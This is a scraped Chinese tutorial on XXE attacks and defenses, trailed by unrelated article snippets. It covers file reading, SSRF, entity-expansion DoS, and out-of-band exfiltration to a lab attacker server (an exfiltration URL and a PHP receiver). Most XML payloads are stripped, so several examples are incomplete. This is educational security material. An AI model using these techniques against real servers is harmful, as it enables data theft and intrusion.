java xxe漏洞利用_【技术分享】XXE漏洞攻防之我见

86075

作者:激越王

预估稿费:400RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

你是否听说过xml注入攻击呢,或者对它只知其一不知其二呢?

现在让我们从xml相关基础知识开始,一步步了解xml攻击的原理和方式。

这篇文章主要针对扫盲,请大佬们轻喷,有错误的地方欢迎指出。

XML 被设计为传输和存储数据,其焦点是数据的内容。

HTML 被设计用来显示数据,其焦点是数据的外观。

XML 把数据从 HTML 分离。

XML 是独立于软件和硬件的信息传输工具。

86075

Everyday Italian      

Giada De Laurentiis       

2005 

30.00 

XML 中,一些字符拥有特殊的意义。为了避免这个错误,请用实体引用来代替特殊字符

附表一

86075

附表一注释:在 XML 中,只有字符 "

合法的 XML 文档是“形式良好”的 XML 文档,同样遵守文档类型定义 (DTD) 的语法规则。

DTD介绍

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

带有 DTD 的 XML 文档实例

note [

]>

Dave

Tom

实例

86075

源码

86075

当DTD 位于 XML 源文件的外部,通过下面的语法被封装在一个 DOCTYPE 定义中

root-element SYSTEM "filename">

外部DTD实例

note SYSTEM "note.dtd">

Dave

Tom

Reminder

"note.dtd" 文件

实例

86075

源码

86075

dtd文件

86075

PCDATA 的意思是被解析的字符数据(parsed character data)。PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。

CDATA 的意思是字符数据(character data)。CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

DTD元素

86075

备注:由于仅仅是扩展,所以仅展示一些常用的元素语法

DTD – 属性

属性声明使用下列语法:

DTD 实例:

XML 实例:

以下是属性类型的选项:

86075

默认值参数可使用下列值:

86075

DTD – 实体(重要)

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

实体引用是对实体的引用。

实体可在内部或外部进行声明。

86075

Schema 介绍(XSD)

XML Schema 是基于 XML 的 DTD 替代者。

XML Schema 描述 XML 文档的结构。

XML Schema 语言也可作为 XSD(XML Schema Definition)来引用

攻击套路

一般技巧:

86075

1.引用外部实体远程文件读取

2.URL请求(可借此发起ssrf)

3.参数实体

4.通过 XInclude 包含外部资源

5.DoS

1. 外部实体引用

86075

通过外部实体引用,可以获取远程文件内容

本地实验:

86075

test.txt 文件中的内容就是 123123admin

但是有个问题,如果文件内容格式太过复杂,就会导致 xml 解析失败(比如内容里含有 空格、一些特殊字符 < > & ; 之类的文件)

86075

这个其实有绕过方法的,如上文所述,可以利用 参数实体,具体的内容后面介绍

还有一个我们知道的方法,就是使用 php 伪协议,php://filter 读取文件内容( 文件内容经过 base64 过滤器,就是全字符的,没有格式干扰)

2. URL 请求(ssrf)

直接使用外部实体引用就可以发起一个请求,原因是很多 xml 解析器读取到引用外部文件的模块时,就会强制性发出请求

本地实验:

首先在 172.16.169.153 监听 1231 端口:

86075

在 172.16.169.142 利用 xml 发出请求(将 xml 放入浏览器即可)

86075

如上图,浏览器一直处于加载内容状态,这是因为 153 的机器上没有返回信息…

172.16.169.153 的 1231 端口状态:

86075

这个 ssrf 可以值得注意一下,因为对 xml 的攻击中,大都是使用 外部实体引用,那么如果直接加载 xml 的时候,禁止外部实体引用呢?

这种情况下,大多数攻击都会失效,但是 ssrf 不会

别忘了请求外部资源还有一种方式,直接使用 DOCTYPE

86075

3. DoS

86075

任何能大量占用服务器资源的方法都可以造成 DoS,这个的原理就是递归引用

lol 实体具体还有 "lol" 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 "lol" 了,以此类推,lol9 实体含有 10^8 个 "lol" 字符串…

那么,引用 lol9,boom…

4. 参数实体

参数实体,之前在远程文件读取的介绍中,可以绕过文件内容复杂导致解析失败的限制

参数实体以%开头 我们使用参数实体只需要遵循两条原则:

1.参数实体只能在DTD声明中使用。 2.参数实体中不能再引用参数实体。

86075

如图,/etc/fstab 是一个内容复杂的文件,如果直接利用 SYSTEM 请求远程文件会解析出错的,也就是读不到文件内容。

那么就可以使用参数实体进行绕过 xml 严格的语法规则

其实流程很简单:

start 参数实体的内容:

goodies 参数实体的内容: file:///etc/fastab (使用 file 协议读取文件)

end 参数实体的内容:]]>

然后接着定义了一个 dtd 参数实体,使用 SYSTEM 发出获取 combine.dtd 的内容

并且在 DTD 内部引用了 dtd 参数实体,那么这个时候,源文件中的 DTD 应该是这样:

">

最后,再由源文件中引用 all 普通实体引发文件读取:

其中这个 CDATA 的意思是为 文件内容添加属性:不被解析的普通字符

这样,参数实体的引用就不需要在xml文档解析的时候保持xml闭合,xml 解释器就会直接忽略文件内容的语法规则,达到了绕过的目的

攻击方ip:

http://192.168.229.130/

eval.dtd

1.php

服务器IP

http://192.168.229.128/

2.php

在攻击方的WEB目录上有一个叫做eval.dtd文件用于攻击,然后在服务器上传2.php,执行2.php

86075

报错没关系。

下面看一下代码:

86075

1.php:

86075

简单的接受get参数传的内容然后保存在1.txt下

EVAL.DTD文件的内容为

86075

这里注意使用参数实体时,在引用实体的格式中需要编码用%代替 %,由于嵌套引用外部参数实体,如果直接利用%,在引用的时候会导致找不到该参数实体名称

作用为将接受到外部file实体应用到1.php?file=的%file上

这样在服务器上传来的内容就会传到file参数上然后保存到1.txt上

在2.PHP文件中

86075

第一个ENTITY用于读取服务器本地文件test.txt

第二个用于引用远程dtd文件

然后在实体利用上需要注意顺序,先执行名为dtd实体引用攻击方eval.dtd的代码获得了实体send的执行方式http://192.168.229.130/1.php?file=%file;

然后将file实体获得的内容引用到192.168.229.130/1.php?file

至此攻击完成,攻击方服务器以保存了1.txt

86075

这里提一下前面说过的,在读取文件的时候当存在空格,尖括号的时候这种直接读取内容的方式会报错

86075

显示无效url,抓包时抓不到在浏览器上访问http://192.168.229.130/1.php?file=blessing software的包

结合之前的的协议应用,可以使用常用的php://filter读取base64编码

86075

如下

86075

解码即可。

86075

只是选了几个协议作为例子,这里的协议都能使用。

这里附加几个关于xxe漏洞的英文文档和实例:

5. 通过 Xinclude 包含外部资源

基于XInclude的文件包含,使用的另一套 xml 语法约束:XML schema

XInclude提供了一种较为方便的取回数据的思路(再也不用担心数据不完整而导致parser抛出一个错误)而我们能够通过parse属性,强制引用文件的类型。

不过Xinclude需要手动开启,测试发现所有xml parser都默认关闭这一特性。

PHP 和 JAVA 环境

php 支持的扩展协议

86075

Java&Xerces

默认的Oracle's Java Runtime Environment下的XML parser是Xerces,一个apache的项目。而Xerces和Java提供了一系列的特性,这些特性又能导致一些严重的安全问题。上述的那些攻击手法(DOCTYPEs for SSRF,文件读取,参数实体的外带数据)在java的默认配置下能够运用自如,java/Xerces也支持XInclude 但是需要setXIncludeAware(true) 和setNamespaceAware(true)。

86075

php&expect的RCE

很遗憾,这个扩展并不是默认安装的,然而安装了这个扩展的XXE漏洞,是能够执行任意命令。

root[]>

&cmd;

还有 python、.net 环境等

防御

1 直接使用开发语言提供的禁用外部实体的方法

这样其实没法防御 xml 制造的 ssrf

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

Python:

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2 过滤用户提交的 xml 数据

敏感关键词:

总结

XML 攻击大都是由解析器发出外部资源请求而造成的,还有结合一些协议的特性可以轻松绕过 xml 格式要求。其中主要的关键字 DOCTYPE(DTD的声明),ENTITY(实体的声明), SYSTEM、PUBLIC(外部资源申请)。

由与 普通实体 和 参数实体 的灵活引用,从而引发各种套路

资料来源

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/563039.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

线谱法 时钟分量的提取 matlab,LMD局域均值分解的matlab程序及示例

说明&#xff1a;研究LMD局域均值分解有3个月左右&#xff0c;能找到的相关文章也基本上看了一遍&#xff0c;觉得是个很好的方法&#xff0c;号称是EMD经验模态分解的改进版。但是网络上一直没有找到该算法的matlab程序&#xff0c;只见文章说的天花乱坠。后来自己写了一个&am…

php csrf攻击 xss区别,XSS与CSRF攻击及防御方法

前言web安全这词可能对于服务端工程师来说更加“眼熟”&#xff0c;部分前端工程师并不是十分了解&#xff0c;今天就来讲讲XSS攻击与CSRF攻击及防御方法XSSXSS (Cross Site Scripting)&#xff0c;即跨站脚本攻击&#xff0c;是一种常见于 Web 应用中的计算机安全漏洞。大部分…

matlab各个指令的含义,[MATLAB基础] 求解这段指令的意思,越详细越好,谢谢啦

求解这段指令的意思&#xff0c;越详细越好&#xff0c;谢谢啦 function [Kp,T2]KPCA(ax,ay)[Nx]size(ax);mean_X mean(ax);axbax;std_Xstd(ax);axax-mean_X(ones(Nx,1),:);std_X(find(std_X0))1;%数据预处理axax./std_X(ones(Nx,1),:);c10000;% gama0.05;% ni1;% F1ax(1,:);% …

php+js实现弹幕,jquery.barrager.js-专业的网页弹幕插件

jquery.barrager.js是一款专业的网页弹幕插件。它支持显示图片,文字以及超链接。支持自定义弹幕的速度、高度、颜色、数量等。能轻松集成到论坛,博客等网站中。由于IE9以下的IE浏览器不兼容CSS圆角,采用兼容样式,可单独设置弹幕的颜色,属性为old_ie_color,建议不要与网页主背景…

zend studio php 5.5,Zend Studio使用教程:在Zend Studio中调试PHP(5/5)

本教程将教会您如何调试文件和应用程序以便从您的PHP代码中获取最大的效率和准确性。Zend Studio的调试功能可以检查并诊断PHP代码在本地或远程服务器上的错误。调试器允许您通过设置断点、暂停启动的程序、单步调试代码和检查变量的内容来控制程序的执行。调试应该在您的脚本和…

oracle 安装乱码,linux安装Oracle中文乱码问题汇总

解决oracle中文显示乱码有三层地方需要调整或者修改第一层&#xff1a;操作系统层1.首先查看linux是否有安装中文字符集&#xff0c;locale -a2.设置用户的中文字符集查看到linux安装了中文字符集&#xff0c;那么oracle用户下面要设置中文字符集vi /etc/locale.conf # centos7…

php 路径有汉字,路径文字工具

大家可能会在视频上面看到一些不规则的字幕吧&#xff0c;比如&#xff1a;圆形、椭圆、波浪形等等&#xff0c;这些也叫做路径文字&#xff0c;就是在给视频添加字幕的时候&#xff0c;让文字按着自己描绘的路径来排列&#xff0c;这样就得到了路径文字。原理很简单&#xff0…

qq linux版本下载官网下载,腾讯QQ For Linux

安装帮助如何选择安装包&#xff1f;Linux QQ 目前支持x64(x86_64、amd64)、arm64(aarch64)、mips64(mips64el)三种架构&#xff0c;每种架构支持Debian系、红帽系、Arch Linux系、其它发行版中的一种或几种(未来可能继续扩充)。每一次发布均会提供架构和发行版的若干种组合支持…

linux ip隧道技术,linux之IP隧道配置

本文系统Centos6.0在这里我就不讲什么隧道、IP隧道技术了&#xff1b;lvs的三种模式也不说了我这里隧道说白了就是不同机房&#xff0c;不同公网IP&#xff0c;怎么让他们实现局域网的效果&#xff0c;配置同一网段的私网IP&#xff1b;可以实现互联互通&#xff1b;写这篇文章…

kali linux conky配置文件,7个美丽的Conky配置为您的Linux桌面 | MOS86

现在&#xff0c;大多数Linux用户非常熟悉Conky包括多少人都没有今天我们Note:其中一些不仅仅是一个习惯。conkyrc文件。许多都配有专门的字体或附加软件&#xff0c;有些则作为更大的桌面主题的一部分打包。此处列出的所有配置都提供了到原始下载位置以及每个包的链接此外&…

sd卡linux错误检测,android系统正在准备SD卡正在检测是否有错误且SD卡无法读取解决办法...

手机android系统&#xff0c;也许您会碰到这样的情况。错误提示&#xff1a;正在准备SD卡 正在检测是否有错误。这时sd卡(即内存卡)不能正常使用&#xff0c;不管手机自带的程序&#xff0c;还是通过usb口连接到电脑都无法识别sd卡。这可能是由于没有正常卸载sd卡导致的原因。比…

C语言顺序结构程序设计PPT,C语言习题集与实验指导 教学课件 伍鹏、杜红、王圆妹、邓绍金 第3章 顺序结构程序设计.pdf...

[摘要]第3章 顺序结构程序设计 第3章 顺序结构程序设计 当你对C语言程序设计有了一定了解和掌握后&#xff0c; 在处理一些简单的任务时&#xff0c;若想根据程序书写的过程 顺序执行程序&#xff0c;这时应该如何处理呢&#xff1f; •顺序结构 •顺序结构 程序的三种结构 程序…

three.js使用精灵模型Sprite渲染森林

效果&#xff1a; 源码&#xff1a; <template><div><el-container><el-main><div class"box-card-left"><div id"threejs" style"border: 1px solid red"></div><div class"box-right&quo…

鸿蒙系统操作界面布局,华为鸿蒙操作系统大曝光

描述华为鸿蒙操作系统大曝光5月21日&#xff0c;华为消费者业务CEO余承东透露&#xff0c;面向下一代技术而设计的华为操作系统“鸿蒙”&#xff0c;最早将于今秋面市。而就在前天&#xff0c;环球时报(Global Times)发出推文表示&#xff1a;有消息人士称&#xff0c;华为正在…

android 高德获取省市,高德地图定位获取当前地址城市街道等详细信息(全部代码)...

自动定位后弹窗信息&#xff0c;包含省市县镇区路门牌号(效果图如下)代码↓↓↓获取地理位置var mapObj new AMap.Map(iCenter);mapObj.plugin(AMap.Geolocation, function () {geolocation new AMap.Geolocation({enableHighAccuracy: true, // 是否使用高精度定位&#xff…

鸿蒙系统新手教程,鸿蒙灭神决新手入门全流程图文攻略

鸿蒙灭神决新手入门全流程图文攻略2019-03-21 15:04:13来源&#xff1a;天天RPG编辑&#xff1a;野狐禅评论(0)中后期回归主题&#xff0c;如果还是打不过神器2&#xff0c;可以先到“中级挑战”这里完成第一排的四项挑战&#xff0c;可以获得四件道具。从这里开始由于我们刷木…

html添加工具栏,添加带有命令的工具栏 (HTML)

添加带有命令的工具栏 (HTML)03/04/2016本文内容[ 本文适用于编写 Windows 运行时应用的 Windows 8.x 和 Windows Phone 8.x 开发人员。如果你要针对 Windows 10 进行开发&#xff0c;请参阅 最新文档 ]ToolBar 是一个简单的控件&#xff0c;用于解决命令扩展问题。它具有一个 …

用计算机解决问题 评课稿,总结反思:二年级数学lbrack;解决问题rsqb;评课稿

二年级数学《解决问题》评课稿二年级数学《解决问题》评课稿今天上午听了一节二年级数学上册用加减混合的常识《解决问题》的课&#xff0c;受益匪浅。我觉得这节课是顺利的&#xff0c;有待我们学习跟借鉴。雷老师虽未年过五旬&#xff0c;但他不服老的敬业精神&#xff0c;以…

计算机信息科学蔺泽浩,上海交通大学计算机科学与工程系(CSE)

脑机交互的多模态疲劳驾驶检测系统本系统通过获取驾驶员的脑电信号(EEG)、眼电信号(EOG)、握力信号和Kinect图像&#xff0c;从生理信号和行为特征中提取与疲劳相关的特征&#xff0c;利用机器学习方法建立疲劳检测模型&#xff0c;实现驾驶员疲劳状态的度量与预测。与传统的基…

分布式认知在计算机应用系统,人机交互作业

1. 人机交互过程中人们经常利用的感知有哪几种&#xff1f;每种感知有什么特点&#xff1f;视觉感知、听觉感知、触觉感知三种。1)视觉感知特点&#xff1a;一方面&#xff0c;眼睛和视觉系统的物理特性决定了人类无法看到某些事物&#xff1b;另一方面&#xff0c;视觉系统进行…